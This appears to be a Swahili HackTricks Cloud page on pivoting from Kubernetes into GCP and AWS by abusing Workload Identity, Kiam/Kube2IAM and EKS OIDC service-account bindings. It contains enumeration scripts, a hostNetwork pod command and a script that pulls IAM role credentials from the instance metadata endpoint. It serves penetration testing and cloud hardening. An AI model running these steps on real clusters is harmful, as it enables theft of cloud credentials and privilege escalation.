Swahili - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

Kubernetes Pivoting to Clouds

Support HackTricks

GCP

Ikiwa unendesha k8s cluster ndani ya GCP, huenda ukataka kwamba programu fulani inayofanya kazi ndani ya cluster iwe na ufikiaji wa GCP. Kuna njia 2 za kawaida za kufanya hivyo:

Mounting GCP-SA keys as secret

Njia ya kawaida ya kutoa ufikiaji kwa programu ya kubernetes kwa GCP ni:

  • Kuunda Akaunti ya Huduma ya GCP

  • Kuunganisha ruhusa zinazohitajika

  • Kupakua ufunguo wa json wa SA iliyoundwa

  • Kuunganisha kama siri ndani ya pod

  • Kuweka mabadiliko ya mazingira ya GOOGLE_APPLICATION_CREDENTIALS yanayoelekeza kwenye njia ambapo json iko.

Kwa hivyo, kama mshambuliaji, ikiwa unavunja kontena ndani ya pod, unapaswa kuangalia env variable na json files zenye akreditivu za GCP.

Relating GSA json to KSA secret

Njia ya kutoa ufikiaji kwa GSA kwa kluster ya GKE ni kwa kuziunganisha kwa njia hii:

  • Kuunda akaunti ya huduma ya Kubernetes katika namespace sawa na kluster yako ya GKE kwa kutumia amri ifuatayo:

Copy codekubectl create serviceaccount <service-account-name>

  • Unda Siri ya Kubernetes inayoshikilia akreditivu za akaunti ya huduma ya GCP unayotaka kutoa ufikiaji kwa klasta ya GKE. Unaweza kufanya hivyo kwa kutumia zana ya amri ya gcloud, kama inavyoonyeshwa katika mfano ufuatao:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json

  • Fungisha Siri ya Kubernetes kwa akaunti ya huduma ya Kubernetes kwa kutumia amri ifuatayo:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

Katika hatua ya pili ilipangwa siri za GSA kama siri ya KSA. Kisha, ikiwa unaweza kusoma siri hiyo kutoka ndani ya GKE klasta, unaweza kuinua hadi akaunti hiyo ya huduma ya GCP.

Utambulisho wa Kazi wa GKE

Kwa Utambulisho wa Kazi, tunaweza kuunda akaunti ya huduma ya Kubernetes ili kutenda kama akaunti ya huduma ya Google. Pods zinazotembea na akaunti ya huduma ya Kubernetes zitauthentikishwa moja kwa moja kama akaunti ya huduma ya Google wanapofikia API za Google Cloud.

Mfululizo wa hatua za kwanza za kuwezesha tabia hii ni kuwezesha Utambulisho wa Kazi katika GCP (hatua) na kuunda GCP SA unayotaka k8s kuiga.

  • Washa Utambulisho wa Kazi kwenye klasta mpya

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog

  • Unda/Sasisha nodepool mpya (Vikundi vya Autopilot havihitaji hii)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1

  • Unda Akaunti ya Huduma ya GCP ili kuiga kutoka K8s yenye ruhusa za GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"

  • Unganisha na klasta na unda akaunti ya huduma ya kutumia

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing

  • Funga GSA na KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com

  • Kimbia pod na KSA na angalia ufikiaji kwa GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Angalia amri ifuatayo ili kuthibitisha ikiwa inahitajika:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Kama mshambuliaji ndani ya K8s unapaswa kutafuta SAs zenye iam.gke.io/gcp-service-account annotation kwani hiyo inaonyesha kwamba SA inaweza kufikia kitu katika GCP. Chaguo lingine lingekuwa kujaribu kutumia kila KSA katika klasta na kuangalia kama ina ufikiaji. Kutoka GCP daima ni ya kuvutia kuorodhesha viunganishi na kujua ni ufikiaji gani unatoa kwa SAs ndani ya Kubernetes.

Hii ni script ya urahisi kuzunguka juu ya maelezo yote ya pods ikiangalia hiyo annotation:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Njia (ya zamani) ya kutoa IAM Roles kwa Pods ni kutumia Kiam au Kube2IAM server. Kimsingi unahitaji kuendesha daemonset katika klasta yako yenye aina ya IAM role yenye mamlaka. Hii daemonset itakuwa ile itakayotoa ufikiaji wa IAM roles kwa pods zinazohitaji.

Kwanza kabisa unahitaji kusanidi ni roles zipi zinaweza kufikiwa ndani ya namespace, na unafanya hivyo kwa kutumia annotation ndani ya kitu cha namespace:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Mara tu namespace imewekwa na majukumu ya IAM ambayo Pods zinaweza kuwa nayo unaweza kuonyesha jukumu unalotaka kwenye kila ufafanuzi wa pod kwa kitu kama:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Kama mshambuliaji, ikiwa utapata hizi anotations katika pods au namespaces au seva ya kiam/kube2iam inayoendesha (katika kube-system labda) unaweza kujifanya kuwa kila roli ambayo tayari inatumiwa na pods na zaidi (ikiwa una ufikiaji wa akaunti ya AWS orodhesha majukumu).

Unda Pod na IAM Role

IAM role inayopaswa kuonyeshwa lazima iwe katika akaunti hiyo hiyo ya AWS kama ile ya kiam/kube2iam na hiyo role lazima iweze kuipata.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

Hii ni njia inayopendekezwa na AWS.

  1. Kwanza kabisa unahitaji kuunda mtoa huduma wa OIDC kwa klasta.

  2. Kisha unaunda jukumu la IAM lenye ruhusa ambazo SA itahitaji.

  3. Unda uhusiano wa kuaminiana kati ya jukumu la IAM na SA jina (au majina ya majimbo yanayotoa ufikiaji kwa jukumu kwa SAs wote wa jimbo). Uhusiano wa kuaminiana utaangalia hasa jina la mtoa huduma wa OIDC, jina la jimbo na jina la SA.

  4. Hatimaye, unda SA yenye maelezo yanayoashiria ARN ya jukumu, na pods zinazotembea na SA hiyo zitakuwa na ufikiaji wa token ya jukumu. Token ime andikwa ndani ya faili na njia imeainishwa katika AWS_WEB_IDENTITY_TOKEN_FILE (default: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Ili kupata aws kwa kutumia token kutoka /var/run/secrets/eks.amazonaws.com/serviceaccount/token endesha:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Kama mshambuliaji, ikiwa unaweza kuhesabu klasta ya K8s, angalia akaunti za huduma zenye anoteshini hiyo ili kuinua hadi AWS. Ili kufanya hivyo, tu exec/create pod ukitumia moja ya akaunti za huduma zenye mamlaka na kuiba tokeni.

Zaidi ya hayo, ikiwa uko ndani ya pod, angalia kwa mabadiliko ya mazingira kama AWS_ROLE_ARN na AWS_WEB_IDENTITY_TOKEN.

Wakati mwingine Sera ya Uaminifu ya jukumu inaweza kuwa imewekwa vibaya na badala ya kutoa ufikiaji wa AssumeRole kwa akaunti ya huduma inayotarajiwa, inatoa kwa akaunti zote za huduma. Hivyo, ikiwa unaweza kuandika anoteshini kwenye akaunti ya huduma unayodhibiti, unaweza kufikia jukumu hilo.

Angalia ukurasa ufuatao kwa maelezo zaidi:

Pata Pods na SAs zenye Majukumu ya IAM katika Klasta

Hii ni skripti ya urahisi kuzunguka pods zote na maelezo ya sas ikiangalia anoteshini hiyo:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

Sehemu iliyopita ilikuwa kuhusu jinsi ya kuiba IAM Roles na pods, lakini kumbuka kwamba Node ya K8s cluster itakuwa kifaa ndani ya wingu. Hii inamaanisha kwamba Node ina uwezekano mkubwa wa kuwa na IAM role mpya ambayo unaweza kuiba (kumbuka kwamba kwa kawaida nodes zote za K8s cluster zitakuwa na IAM role sawa, hivyo huenda isiwe na maana kujaribu kuangalia kwenye kila node).

Hata hivyo, kuna hitaji muhimu la kufikia metadata endpoint kutoka kwa node, unahitaji kuwa kwenye node (ssh session?) au angalau kuwa na mtandao sawa:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steal IAM Role Token

Kabla tulijadili jinsi ya kuunganisha IAM Roles kwa Pods au hata jinsi ya kutoroka hadi Node ili kuiba IAM Role ambayo mfano umeunganishwa nayo.

Unaweza kutumia skripti ifuatayo ku iba akreditifani zako mpya za IAM role:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

References

Support HackTricks
PreviousKubernetes External Secret OperatorNextKubernetes Network Attacks

Last updated